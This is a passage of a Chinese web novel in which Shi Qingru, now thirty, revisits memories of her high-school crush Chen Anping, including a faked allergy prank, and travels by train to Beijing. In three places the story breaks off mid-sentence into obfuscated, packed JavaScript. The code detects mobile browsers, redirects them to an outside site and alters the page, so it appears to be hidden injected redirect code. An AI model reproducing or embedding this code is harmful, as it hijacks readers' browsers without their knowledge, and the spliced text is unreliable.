“我知道，”她笑笑，“但是我对虾过敏。” 十几年了。 店居然没有倒闭，装修变了，老板还是那个老板，只是老了，皱纹多了，身旁还多了一个打游戏的孙女。一届又一届学生养活了这家的营生。 她认出了老板，但老板没有认出她，她只是千万个学生中的一员。 施清如靠墙边坐下，戴上耳机。 - 2012年春 三月初倒春寒，施清如卷着笔记本在老廖麻辣烫店里冷到抖腿。 透明的帘子中间全是缝隙，冷风往里不停地吹灌，她的注意力根本无法放在考试重点上。 周日下午施琴提前送她回校，这给了施清如溜出校门吃垃圾食品的机会，她把室友王雨灵也一块儿喊了出来。 周围都是大学生，只有她们两个身上带着高三生半死不活的气质。 “老板，这门能关一下吗？我快冻死了。”施清如忍不住高喊。 老板从后厨探头，“行啊，不过那门坏了，关不严实。” 施清如管不了那么多，缩着脖子过去把门关上，果然有条缝，但起码比刚才的风小一点。 回到座位上，她给陈安平发去企鹅消息。 「老廖麻辣烫，快过来呀，你不是已经到学校了？」 王雨灵一眼看穿，从卷子里抬起头揶揄道：“叫你心上人呢。” “啧，”施清如压不下嘴角，“说什么呢，一会儿他来了你可别乱说话啊。” “行行行，我不乱说，但班里那么多起哄的嘴你堵得完吗？” 施清如挑眉，哼着曲子扭身体，“那不关我的事。” “蓝衣服和白衣服两位小美女，你们的两碗好了，来拿一下！”老板从出餐窗口探头向外喊。 老廖麻辣烫的卫生条件不算好，透明门帘上布满油污，空调也舍不得开大点，但它却是附近人气最旺的店之一。这一切都要归功于新鲜的食材，和老板的独门秘方，汤底特别咸鲜。 施清如吃麻辣烫最喜欢油面筋，多到看不见其他食材为止，王雨灵嫌弃地看了一眼。 “你这样吃明天醒来肯定肿。这家店虾肉丸子好吃，你怎么不吃？” “我过敏啊，王小姐，我都和你说过两回了，怎么还不记得？”施清如皱起鼻子不满道。 她尴尬笑笑道：“忘了哈哈。” 她们平时一起吃饭也不会问对方为什么不吃虾，顺嘴的一提忘记了也实属正常。 衔住筷子，眉毛生动地跃起。 “雨灵，陪我演一场戏。” 狡黠的精光比麻辣烫店的顶灯还晃眼。 不多时，陈安平捏着两把伞掀开帘子走进来，身上的灰色卫衣落了几滴雨，零星出现几朵深色的圆点。 他从学校出来时，乌云卷着似一条龙伏在教学楼顶。依施清如的性子，九成九没有带伞，于是他带了两把，他倒不知王雨灵也在。 刚走到店门口，雨就落下来了，在陈安平身上笼下浅浅一层的潮气。 王雨灵正对着门，看见陈安平，面上不动声色，桌下的脚却踢了踢施清如，飞快入戏。 “你怎么了？怎么脸这么红？” 她焦急的语气有着浓重的演绎成分，但骗过陈安平似乎绰绰有余。 施清如喘着粗气，一副呼吸困难的模样，用指甲来回抓挠自己的脸颊和脖子。 “我……我好像过敏了。” 陈安平脸色微变，跨步走过来，“你吃什么了？虾？” 王雨灵睁着无辜的眼睛告诉他：“她可能是吃了虾肉丸子……” “你不知道自己对虾过敏吗？” 这话是对施清如说的。 陈安平的语气有点重，脸色又沉又青，王雨灵吓了一跳。 施清如的脸颊泛着诡异的红色，上面还有几道她自己用指甲抓出来的红痕，往下看去，脖子上也是如此，触目惊心。 “王雨灵，晚自习帮她请个假。”陈安平拿起手机，“我叫救护车送她去医院，我一起过去。” 他一顿，有所顾虑，“或者你和她一起去？” 王雨灵被他的架势惊到，一时没说出话，不知所措地望向始作俑者。 施清如见好就收，在事态升级前老实交代，嬉皮笑脸仰视陈安平。 “陈安平，我逗你玩的，我没有吃虾肉丸子，我哪敢啊。” 他一怔，举着手机的臂膀重新垂落，半晌，陈安平拧眉凝视施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314041|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清如，一字一顿。 “逗我玩的？” 施清如点点头。 他的视线从她因为演戏而水润的眼眶向下挪移，停留在那些过敏的红痕上，“你……” 但当他看见她眼底狡黠的流光后，他没有再问。 那些痕迹是她刚才又扭又捏做出来的，怪疼的。 陈安平绷着平时温和的脸，放下两把伞，“我先回学校了，你们晚自习别迟到。” 施清如一愣，蹭一下站起身，“你不吃麻辣烫了吗？” 陈安平的背影稍有迟滞，在透明门帘前驻足，两秒后，他还是出去了。 王雨灵提醒：“外面在下雨。” “这个呆子！”施清如拿了一把伞冲出去，追上陈安平，“你把伞拿上，我和雨灵可以撑同一把。” 陈安平没伸手，雨水顺着他干净利索的短发往下滴，眼睛隐匿在雨帘下。 施清如不耐烦了，“我陪你在淋雨，衣服都湿透了，冷死了！我刚才就是想试试你的反应嘛，谁知道你会生这么大的气，开开玩笑都不行吗？” 陈安平看着她，“施清如，这一点也不有趣。” 施清如努了努嘴，没法反驳。 陈安平低头拿过伞撑开，塞进她手中，淡淡道：“你去吃饭吧，我回寝室换身衣服就好。” 晚自习时，陈安平是踩着点进教室的。 灰色的卫衣换成了校服，嘴唇比下午白。 施清如扭着脖子远远看他，心想这家伙还在生气，小心眼。心声刚响，走廊外炸起一声雷鸣，雨花儿被风吹到走廊里面，蒋澜连忙起身去将教室的前后门都关好。 一整个晚自习，陈安平都醉心于做卷子，除了中途喝水之外，连头都没抬一下。 施清如做完两张卷子，实在憋不住了。她最讨厌这种闷闷的感觉，宁可像窗外的雷雨一样狂风大作。 她跑去教室后面，拍了拍骆泽川的肩膀。 “骆兄，和我换个座位。” 骆泽川揉着脖子睨了她一眼，“干嘛？” “我有英语问题要问陈安平。” 骆泽川贱兮兮地笑了下，“怎么不问我？我英语也比你好。” 施清如翻了个白眼说：“你没他好。” “人身攻击啊！” 施清如咬牙切齿瞪他，“换不换？” “换换换，请我两包乐事。” “请，我请还不行吗？区区两包乐事，你有没有点出息啊？” “我就没有，怎么了？” 骆泽川做着鬼脸拿着卷子去施清如的位置上。 闹腾的人一走，周围就安静了。 施清如坐到骆泽川的位置上，嫌弃地挪走他喝了一半的牛奶，用余光打量着陈安平。 他好像陷在了某道物理题中，笔迟迟没有动。 “要不要我教你？” 施清如自告奋勇，语气略有些谄媚。 陈安平深吸了一口气，又叹出，转头低声问她：“你想问我什么英语题？” 施清如随手在卷子上指了道语法题，陈安平侧身垂下眸子，徐徐给她讲解。 其实施清如会做这题，她的注意力全在陈安平的眼睛上。 “陈安平，下午是我不对，下次不开这种玩笑了，你不许生我气了。” 她的道歉也是霸道的，丝毫不给陈安平拒绝的空间。 察觉到她的心不在焉，陈安平的指尖往卷面上敲了一下，抬起头看她。 过了良久他说道：“别拿自己的健康开玩笑。” “嗯，我知道啦。” 施清如趴到桌子上，用上目线看他，故意用力眨眼睛。 “你看雨这么大，晚自习结束你能不能陪我走回寝室呀？” “不能。”陈安平把英语卷子推回给她，板着脸继续做物理题。 “喂陈安平，”她不能大声说话，只能用气声抗议，“你怎么这么冷血无情呀。” 终于，陈安平扬起了今天一整日的第一个笑容。 “那你要不要离我这个冷血无情的人远一点？” 施清如别过脸，冷哼，没有回答他。 “有的同学，不要交头接耳讲一些无关的话。问完题目就好回到自己位置上去了。” 周旺低沉的声音陡然从教室最后方响起，施清如倒吸一口气。 周大头怎么来了？ 她只好攥着卷子灰溜溜回自己座位。 好歹，陈安平最后是笑了。 5. 005 施清如想找找和陈安平的企鹅聊天记录，好不容易登上尘封已久的账号之后，她才想起自己当年一气之下将他删除了。 同学录上陈安平写的电话号码早在他大学时就停用了，之后的施清如无从得知。 将手机重新倒扣回桌上，她悻悻吃着麻辣烫。 同样是春，今年的春就温暖许多。 没有下不尽的雨水。 离开老廖麻辣烫，施清如打了一辆车回家，在楼下水果店买了一盒丹东草莓。 家里没人在，施琴大约是去打牌了，王文忠八成在河边钓鱼。 施清如把草莓放进冰箱，冲了个澡，倒在床上沉沉入睡。 床像一片巨大的沼泽，将施清如吸了进去，她产生了一种错觉，一种自己一直在下坠的错觉，从云端往深海，望不到尽头。 直到施琴温柔的呼喊声将她唤起。 “宝贝，已经晚上八点了，不吃饭可不行，吃完了再接着睡好不好？” 施琴特意到这时才将她喊醒，就为了让她补眠。 施清如用力吸了一口气，像是从深海里浮出水面的人吸到第一口氧。 她的短发像一个失败的鸟类建筑家所建筑的鸟窝，枝条横七竖八地岔出去，发梢卷曲向上，不成章法。 她眯着眼睛，慢慢适应光亮。 餐桌上，施琴给施清如看了一张照片。 “这个男生你觉得怎么样？今年三十五岁，他就住在我们小区，做药代的，家里条件不错，自己收入也不菲，我和他妈妈挺聊得来的，会是个和善的婆婆。” 施清如瞥了一眼，没有李煦长得端正，但也不难看，戴着黑框眼镜，脸有点方，笑起来有几分谄媚讨好姿态。这没什么，她一直觉得这些见人说人话、见鬼说鬼话的人很厉害，这也是种能力。 “有没有二十五岁以下的年轻人？”施清如收回目光，夹着白切鸡浸到酱油里，“想看点年轻肉/体，不想看老腊肉。” 施琴拍了她一下，“没个正经的。二十五岁以下的男生多幼稚啊，你现在是要结婚，不是谈恋爱图快活。” 施清如边躲打边笑。 “再说吧，我最近不想相亲了，让我休息休息吧。看了这么多男人，没一个有发展下去的欲望。” “之前不是说好了吗？要在三十二岁之前结婚，那你可不能这么躺平啊。好男人难道会从天而降吗？你得出去找。不想相亲就多去参加年轻人的聚会。” “嗯嗯嗯。”施清如咬着筷子敷衍，“明天我去趟宜家，给新房子添点软装。” “要不要我陪你一起去？” “不用，我和言静一起。” 前两年房价低迷的时候，施琴做主给施清如全款在西湖区买了一套89平的房子作为她个人的婚前财产，所有装修风格都按施清如的喜好去办。 断断续续装了一年半终于到收尾阶段，只不过还要空置几个月散甲醛。 第二天施清如去宜家的时候，喊上了闺蜜张言静，她是生活类博主，最近刚把租的别墅退掉，换成大平层。 张言静每次出门不是头上就是手腕上长了摄像机，一开始施清如不喜欢入镜，久而久之也随便了，偶尔会在她的vlog里客串，颇受欢迎。 两个人是大学死党，这么多年关系一直没有变。张言静老家在苏州，从浙大毕业后就留在了杭州。在自媒体还不像现在这么火的时候，她就热衷于在网上分享日常生活，研究生毕业的时候已经有几十万粉丝，如今早已过百万。 她向家里人展示了可观的收入，顺理成章在毕业后就成为自由职业者，一天班没上过。许多人不理解她，这么优秀的学历为什么只做自媒体，不找个正经班上。但好在张言静的家人理解，能赚钱就行，头衔都是虚的。 “今天和Vivi一起来宜家啦，Vivi，过来打个招呼。” 张言静一把将施清如拉到镜头中。 轻薄清透的底妆和奶茶色口红在滤镜的加持下尤为温柔，挡住了她穿透底妆的黑眼圈。施清如朝镜头淡淡瞥了眼，扬唇微笑。 “Hello，我又来蹭静女王的热度了。” 张言静的网名很有年代感，叫做「自由的静女王」，施清如吐槽过不止一次。 逛宜家的时候，张言静一直在对着镜头分享她平时喜欢购买的家居好物。 施清如走在前面，看中一个墨绿色的单人沙发，盘算着放到书房里。 她算是极繁主义者，喜欢用各式各样的色彩填满个人空间。她喜欢买冰箱贴、明信片，各个旅游胜地纪念品宰的就是她这样的人。 结完账，预约了沙发送上门的日子后，施清如和张言静在宜家吃午饭。 录完一段素材，张言静终于摘下摄像头，长舒一口气后开始大口吃喝。 她瞧了眼施清如问道：“你昨天没睡好？黑眼圈跟熊猫似的。” “前天没睡，昨天到今天睡了十几个小时，睡得我想吐。” “干坏事去了？”张言静打趣。 “通宵打游戏，昨天上午回了趟成华。” “回成华？又不是教师节，难道是你们学校校庆？” 施清如卷了满满一叉子肉酱意面，手一垂，撞到盘子上发出叮一声。 “没有，我闲得无聊去找青春回忆。” 张言静顿了下。 “陈安平？” 施清如抬起眼。 固定在叉子里的面条一点点松弹开。 她没说话，看着对方。 “说中了？” 大学的时候，施清如没少提起陈安平这个人，张言静还看过他许多照片。大一的时候，施清如最喜欢做的事就是拿出高中军训和毕业时的集体照，在一张张麻木不仁的脸庞中指出陈安平。 军训照里的陈安平黑黢黢，仰着头和其他人一起将迷彩帽抛向空中。他的下颚线清晰锋利，不柔美，眉骨高，眉宇英气，但眼睛极为温柔。 高一上学期施清如和陈安平并不在一个班级，因此同一张照片里没有她，这是她从学校官网上下载后又印刷出来的。 高三毕业照，以陈安平的身高应该站在最后一排，但他却站在施清如身后，为此两个人还特意站在了最右边，不会挡住其他人。 三年过去，陈安平的皮肤早白回来了，他比高一时瘦了几分，退去些婴儿肥，外表成熟清爽，挂着一抹很淡的笑意。不夸张地说，他是标准的初恋长相。 张言静看过太多次了，以至于她到如今都还记得陈安平的长相，她完全能理解施清如为何念念不忘。 不过有一天开始，施清如就不提他了。 像突然将这个人从记忆里抹除般。 因为不正常，所以张言静没敢追问。 一转眼三十岁，她以为施清如早把陈安平忘了，如今提起来大约也只是心血来潮。 施清如淡淡提起这场心血来潮的起因，“前天我相亲的时候碰见他的高中死党了。” 张言静恍然大悟，“所以你想到他了，突发奇想回学校追忆一下青春。” “差不多。” “那你打听到了吗？他现在在做什么？” 施清如张开血盆大口把意面放进嘴里，“去英国了。” “诶哟，不回来了？” “鬼知道，他和高中死党都没有联系。” 张言静抿了抿嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314042|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我高中班里有个混得特别好的人，也不和同学联系了，挺现实的，大家不是一个阶层了。你想开点，没准陈安平现在已经是个秃头、啤酒肚的‘那个男的’了。我高中暗恋过的一个人现在就是地中海，泯然众人矣，我根本不想回忆喜欢过他的细节。” 施清如弯唇道：“我也这么觉得。” “而且，他也三十岁了，也许已经有家庭了。像我们这样没结婚甚至是单身的人毕竟是少数。” 施清如想起陈安平说的话。 如果有合适的人他就会结婚。 高中毕业那么多年，他也许已经找到了那个人。 但不知为何，施清如忍不住在心里诅咒他这辈子都找不到。 她挑挑眉，没有附和张言静的话，反而说道：“不一定有人受得了他的闷葫芦性格。” “有多闷？” “说话喜欢两个字两个字往外蹦。” “哇，好无聊。” “就是啊——” 从宜家出来后，施清如和张言静一起去做了个头皮护理，之后张言静送她到新房子。 “你等下怎么回家去？” 施清如打了个哈欠，“打车。” 张言静帮她搬着东西，疑惑不解，“你的车呢？你都多久没开了，停在车库里吃灰呢。” 施清如笑着说：“我爸有时候会开，我又不喜欢开车，能不自己开就不开。” “懒虫，”张言静无奈道，搬出最后一样东西后关上后备箱，“你偶尔也开开吧，不然我真怕你忘了，到时候变成马路杀手。” “放屁，我技术好得很。” 张言静离开后，施清如在新房子包着布的沙发上坐了会儿发呆。 夕阳从客厅飘窗照射进来，木地板上映着窗棱，晒得她眼前出现一片片光斑。 回神时，施清如意识到自己又点开了陈安平的青青网主页。 说来讽刺，这是她目前唯一能获得陈安平信息的地方，而且信息断在六年前。 她像是一个饥肠辘辘的人，意外找到了松鼠藏匿果实的宝库，偷也不是，不偷又忍不住。 算了，反正她曾经对陈安平有意这件事人尽皆知，她也不是怕丢脸的性格。 现在她只不过是对老同学有几分好奇心。 施清如点开他的相册，没有按时间顺序看，随手滑了几下，多是些花草树木和天空，还有在长城上的全身照。 她点开那张长城上的照片，放大。 陈安平穿着一件灰白色的插肩卫衣，站在阶梯上，双手落兜，淡淡笑着。他在看镜头，或者说，看给他拍照的人。 施清如翻了个白眼，挥手对着空气打了一拳。 笑笑笑。 谁准他这么笑的？ 她又想起自己高中时说想去长城，结果她到现在还没有去成，她真怕再拖下去，自己疏于锻炼的身体会爬不动长城。 陈安平去的时候是深秋，阳光把本就金黄的叶子照得愈发金光璀璨。他身后是延绵不绝的城墙和满山又红又黄的叶子。 PS过吗？ 怎么美得这么不现实？ 那个时候为什么没有live图呢？ 她想听听给他拍照的人是男是女。 不过她也没有很好奇。 施清如收起手机，打车回家。 晚上吃饭的时候王文忠问她，“周末要不要陪老爸去钓鱼？我最近找到了一个鱼口很不错的地方。” 施清如满口鸡腿肉，没心没肺笑着，“爸你自己钓吧，周末我要去北京。” “去北京？！”施琴吃惊，“去干什么？” “当然是旅游。” 6. 006 言静无法理解清如的选择。 “你为什么不坐飞机？将近七个小时的高铁，屁股都要坐开花了。” “你不懂，”施清如对着屏幕咯咯笑，“沿途风景是很珍贵的。” “你少来，你平时旅游都懒得拍照的人，装什么文艺。” 施清如对她晃了晃新买的运动相机，“只准你拍vlog啊？我也要拍，当你的同行！” 她不只带了运动相机，还带了富士。照片、视频两手抓。 张言静知道她的德行，“你能有耐心剪辑再说做自媒体吧。对了，你买的什么座位？” “商务座。” 张言静露出无奈的表情，“我就知道，你一点都不会委屈自己。我看你是准备一路睡到北京，醒来发现自己什么风景都没记录。” “能别损我吗？” “不能。我今天要去上海和几个博主合拍视频，不和你聊了。” 施清如一边收拾行李，一边问她：“上海的博主？都有谁？” “徐烁、小鹿那几个。” “哦，没听说过，玩得开心。” 如今从杭州到北京，坐最快的高铁只需要四个半小时。在施清如高中的时候，最快也需要七个多小时。那时候她陪不能坐飞机的祖父祖母去北京，逛了故宫、恭王府、什刹海等景点，没有去到长城，毕竟老人家爬不动。 故地重游。 算故地重游吗？ 也许吧。 这次她还是没有坐飞机，因为陈安平是坐火车去的。青青网的相册里有一整页大约十几张照片，都是他从车内往外拍的风景。 沿途经过乡村、麦田、秃山还有湖泊，夕阳映出过道对面乘客的轮廓，唯独没有他自己。 虽然青青网的图片画质不够清晰，但陈安平的镜头是有温度的。 施清如觉得他也许在英国当摄影师，即使他大学的专业是计算机。 她也是。 他们两个或许都应该像骆泽川那样成为码农，但施清如的直觉告诉她，他没有。 码农的日子太忙碌了，陈安平会无法照顾他妈妈。 施清如有些后悔买商务座。 商务座车厢里太冷清了，和陈安平镜头下的世界完全不同。 过道对面只有在宽敞红皮座椅上睡觉或是办公的人。 列车行进一小时后，施清如终于坐不住，主动离开座位，前往用餐车厢。 她带着富士相机一路穿过几节车厢，印象最深的是孩童的哭闹声和一些短视频外放声。 无意的一抬眼，窗外嫩绿色的麦浪在晴空下随风荡。远处是些不时髦的房子，和成华中学的钟楼是同一派，受着西方的影响，骨子里还有东方的执着。几十年发展下来，早已成为国内特有的一种风格，不说好与坏，但施清如能感觉到——在阳光和蓝天下，它们散发着温馨与亲和。 离开高楼耸立之地，她举目能望见更远处的地平线。 只是望不到英国，也望不到十几年前的学生时代。 用餐车厢里人不多不少，但每一桌都坐了人，有一桌坐着两个休息中的列车员，正面对面在聊天。 商务座提供盒饭，但她没什么胃口。平心而论，她是一个间接性很挑剔的人。 施清如不想吃盒饭，却花了八块买了一桶泡面。 她可能是脑子有病。 病得不轻。 否则也不会踏上这趟旅程。 这么一想，她心里感到烦躁。 当面被滚水泡开的时候，她又想明白了。 她不是为了陈安平去的，她是想去看一看长城。 仅此而已。 施清如不是什么历史爱好者，所有知识点都是曾经为了应付考试死记硬背的。一脱离学校，她就忘得一干二净。 她想去长城只有一个原因——高中那次去北京没去成。她总觉得，这么出名的长城都不去，岂不是白去北京了？ 张言静经常说她是一个执念很深的人。 她的执念很幼稚。 有一次她们一起去西班牙旅行，施清如在马德里的一家古董店看中一个外壳镂空的机械怀表，店主约莫看出她是个人傻钱多的人，趁机敲竹杠，报给她一个昂贵的价格。 张言静看不下去，好说歹说劝住了施清如。 谁知道回国后施清如对那个怀表念念不忘，第二年独自又去了一趟马德里，故地重游，把那个怀表买回来了。 有趣的是，怀表回家后，就此尘封在书房的柜子中，不见天日。 施清如甚至忘了它的存在。 餐车没有空桌，施清如便和一位绍兴出发的大姐拼了一桌。 大姐没有点火车上的吃食，自己带了茶叶蛋和玉米，还有一个泡着茶的保温杯。她在边刷短视频边品尝美食，看见施清如后便放下手机。 “小姑娘去哪里的？” 施清如吹了口热烫的面，回答道：“去北京。” “去玩啊？” “嗯。” 大姐很自来熟，问施清如要不要吃茶叶蛋。问是问了，但没给施清如拒绝的机会。 她手速极快地从食品塑料袋里取出一颗带壳的茶叶蛋，三两下剥去壳，把蛋挤进了施清如的泡面桶里。 施清如的动作一滞。 出门在外不能吃陌生人给的食物是她的原则。 但是大姐的眼神比窗外的太阳还炙热。 “我朋友都喜欢吃我煮的茶叶蛋，总向我讨要，你尝尝，肯定喜欢。” 施清如觉得老一辈人身上有种特质。 她们很自信。 这绝不是什么阴阳怪气，是她见多了年轻人的自卑感所比较出的结果。 她放下刚卷起来的泡面，叉起茶叶蛋咬了一口，虽然蛋的味道被泡面汤水冲淡，蛋黄部分的咸鲜还是非常惊艳。 和她爸王文忠的手艺比也不差。 王文忠可是煮茶叶蛋的高手。 “好吃。”施清如夸赞道。 大姐高兴地又问：“玉米要吃吗？又嫩又甜。” 施清如连忙摆手，“不用了大姐，我早上吃太多了，这会儿还挺饱的，吃不下这么多。” “行，姑娘你要去北京哪里玩？” “长城。” “诶哟，长城有什么好玩的，特累人！风景都是一样的风景，不如去地坛公园逛逛。” 施清如不太想说自己的事，岔开话题，“大姐你也是去北京吗？” “是啊，看我儿子去，儿媳刚生了孙女，我去照顾她。”她叹了声气，“本来早想去了，但我老伴前两个月摔了一跤，动了手术，也得我照顾，现在恢复得还不错，能自己照顾自己了，我才能去北京。” 这时火车驶入一段山洞隧道，手机信号受影响，车厢内也一片漆黑。 大姐不喜欢这黑暗，有一分多钟没说话。 泡面的热气往上飘着，在施清如下巴上蒙了一层水雾。 刚才听大姐说话的语气，她想当然觉得对方的生活很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314043|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸福。可这般听起来，施清如只觉得累人。 天南地北的一大家子都要她照顾，且只能指望她。 但也不对。 她一个啃老族，凭什么替大姐觉得不幸福呢？ 施清如晃了晃脑袋，把别人的人生从自己的大脑里晃出去。 窗外天光又亮起，身后的山体快速倒退远离，铁路边几条不规矩的树杈子刮蹭着列车体。 “姑娘你和我儿子年纪差不多吧？” 施清如吃了一口泡面，“我三十了。” 大姐讶然，“真看不出来，那你结婚了吧？” 施清如笑笑，“没有呢，我还单身。” “男朋友也没有？” “没有。” “诶哟。” 施清如瞥了她一眼，感觉到她想催婚，但碍于彼此是陌生人，忍住了没说。 “我儿子之前也没谈过，前年他单位同事给他介绍了一个，一谈就成了，今年孩子都有了。你长得这么好看，耳垂又漂亮，肯定是有福之人，缘分没准就在北京等着你呢，明年就结婚！” 也许是因为施琴和王文忠的婚姻生活很幸福，施清如耳濡目染，并不排斥结婚，甚至是向往的。 “哈哈哈，”施清如大笑道，“借您吉言。” 她摸了摸自己发炎的耳垂，上面戴着一对纯金耳钉。施琴说戴纯金的有助于耳洞的生长闭合，但也许是她的皮肤愈合能力太差，几个月过去了，仍旧没有长好。 流脓、结痂，取下耳钉清理，再戴上。 流脓、结痂…… 循环往复。 又痒又疼。 将泡面桶扔掉后，施清如陪大姐又坐了会儿，没什么重点地谈天说地。 施清如是很能与人周旋的人。 只要她乐意。 但并不代表她付出了任何感情。 相反地，她的笑容与热情更反衬出她内心的漠然。 施清如以前不这样，但这几年她的精力下降，大不如前，便没有多少真情实感能给予他人。 聊天的时候，她时不时会举起相机拍一拍沿途的风光。 湖泊、山峦、麦田…… 陈安平拍过的那些风景，也出现在她的镜头中。 只是一个在秋天，一个在春天。 秋天金黄色的美丽之后是冬日的寂寥。 而春天之后，还有更富生机的盛夏。 黄昏时分，遥山万叠云散。 施清如与大姐各自回到车厢，没有留下彼此的联系方式。 整趟旅程，施清如都没有在商务车厢待多久。 最后的时分，她打着哈欠靠在椅背上，手指随意地滑着相册的照片。 陈安平的那些照片。 大姐远赴北京是为了家人。 她是闲得无聊，没事找事。 最后浅眠了一刻钟，火车停在北京。 有句话说，秋天银杏叶黄时的北京是北平。 那春天呢？ 施清如带着疑问走出车站，打车穿梭在拥堵的街头。 路边种着许多毛白杨，树枝的形状野蛮向上伸展，真是好有生命力的一种树。 高中来京时，她没有那么多闲心观察，现在她却连柏油路上的涂漆缺了哪一角都想看个明明白白。 大姐说，她的缘分也许就在北京。 但施清如知道这不可能。 在她将陈安平从记忆里彻底剔除之前，缘分的通道已被青春的石子堵住。 7. 007 北京是阴雨天，衣服沾着潮气紧贴在皮肤上。 施清如被困在延庆区的这所酒店内。 打开外卖软件，能入眼的店家都在配送范围之外，她忍着窜上来的恼意，踩着拖鞋蹬蹬蹬下楼去酒店的餐厅。 一顿饭吃下来，施清如甚至不记得自己吃了什么。 她特别不喜欢这些学米其林，最终却学成四不像的餐厅。菜量小得如同小鸡啄米，味道却如烛火上滴下来的蜡，花出去的钱如同沉入池塘的石子。 回到房间，脱掉衣服准备洗澡，她忍着房间里挥之不去的微微凉意，站在花洒下等了五分钟——水还是凉的。 她爆了一句粗，无可奈何地重新穿上衣服，再踩着拖鞋蹬蹬蹬跑去找前台理论。最终对方同意给她换房，升级到一层带院子的大房间。 院子也淋着雨，除了一抹色的草坪就只有灰色的水泥墙，还不如在高层视野开阔。 一顿折腾下来，施清如累得像被扒了层皮。 当她终于如愿洗完热水澡倒在床上后，她抽出双肩包里的平板电脑，想看部电影。片头刚放完，画面一黑要转场，施清如忽然感觉到身下有一股液体涌出来，她吊着嗓子眼站起身，奔到卫生间处理。 她的月经提前两天来了。 刚换的内裤又被染红一片，睡裤内侧也沾上了一些，所幸酒店的床单幸免于难。 重新换了条裤子垫上卫生巾后，施清如站在水池边用冰水洗内裤。 刚沾上的血迹还不是太顽固，轻轻一搓就掉了大半，不过还是留下了一些轻微的，肉眼几乎看不见的痕迹。 施清如出神地看着被冰水冲洗的双手。 如今的季节里，夜晚依旧是寒凉的，水龙头里出来的水也冰，不一会儿她的手就失去知觉，分不清是冷还是烫。 良久，她把水龙头往左拧紧，眄视镜中的自己。 一趟无厘头的行程，多有狼狈。 施琴总说她的心智像没长大的小孩，做事没有成年人的深思熟虑。施清如觉得施琴说得不对。 最近几年，她常有力不从心的时候，心智好像忽然从十几岁迈入了三十的坎。有些事，她已经深思熟虑了太久，因此作出决定只需要短暂的一瞬。 施清如低头拧干内裤，找了一个衣架晾起来，做完这些事，她回到床上给施琴发了一个报平安的信息。 一看时间已经十点半，她的精神也撑不起再看一部电影，她索性开始刷各种社交平台，给张言静的新视频点了一个赞。 侧躺了一会儿，腰侧隐隐开始作痛。 她不知道是因为坐了近七个小时火车导致的，还是生理期导致的，总之她无法再看手机，伸手将房间灯一关。 黑暗中是她在床上翻来覆去、耸动的响声。 良久，她用嘶哑的嗓音对着空旷的房间抱怨道：“烦死了，怎么总是想起你。” - 2010年春 施清如和新班级大部分同学已经混得颇为熟悉，王雨灵和她一样学理，都被分在重点班二班。 二班的班主任是周旺，头发很短，只比圆寸长一些，外号周大头，因为他的头又大又圆，很有存在感。这外号是学长学姐起的，流传下来。 周旺教语文，施清如不太喜欢他。 因为他总似唐僧念咒般，在她耳边念叨。 “施清如，老师知道你很有想法，但是你的想法可不可以留到课外创作中？考试的时候就按我教你的答题行吗？” “你只要把语文成绩提升起来，年级排名能再上去起码二十位。” 施清如忍着经痛刚去周旺办公室听完念经，回到座位上就向王雨灵倒苦水。 “大头有病吧，每次都是那么几句话反复讲，有什么意思！” 她将下巴搁在桌面上，手臂压在肚子上，企图用另一种疼痛转移绞痛带来的不适。 王雨灵用笔抵着下唇，看着一道物理题犯了难，“周大头就是喜欢念经，起码他不像隔壁一班的沈阎王那么凶，忍忍吧。”她晃了晃施清如的小臂，“这题会做吗？给我讲讲。” 施清如努力抬高眉毛，带起自己沉重的眼皮，扫了一眼，是道电场强度的题。 她撑在桌上，给王雨灵讲了题，额头冒出虚汗。 “下午第一节是什么课来着？” “体育。” 施清如皱了皱眉头。 “今天是要干嘛？自由活动吗？” “不知道，不过肯定不测800，上周刚测过。” 施清如痛得翻起白眼，往桌上一趴，推开一叠还没来得及做的卷子，“那就行，我睡会儿，上课之前喊我。” 从教学楼去体育馆要横穿操场，平时施清如很喜欢这段路。铃声响起后的操场很空旷，只有自己班的同学，像草原猎豹一样经过，有的精力旺盛的同学会你追我赶地跑过去，剩下的则散步似惬意。 但这天她的经痛比平时强烈，仿佛有一台绞肉机把她的五脏六腑都绞在了一起，碎得不成样子。 她走到一半，弯腰用左手撑住自己的大腿，喘着粗气等这一阵的阵痛过去。 王雨灵折回教室去拿水瓶了，身边也没个能让她搭一下肩的人。 太阳照着施清如的头顶，她一动不动，不一会儿就看见有汗珠从自己额头滴向草坪，落在她鞋边。 “你还好吗？” 有个声音响起，一双有点无措的手映入她的眼帘，对方似乎想要搀扶她，又碍于男女授受不亲没有行动。 施清如听出了那是陈安平的声音。 她抬起头，送给他一个苍白的微笑。 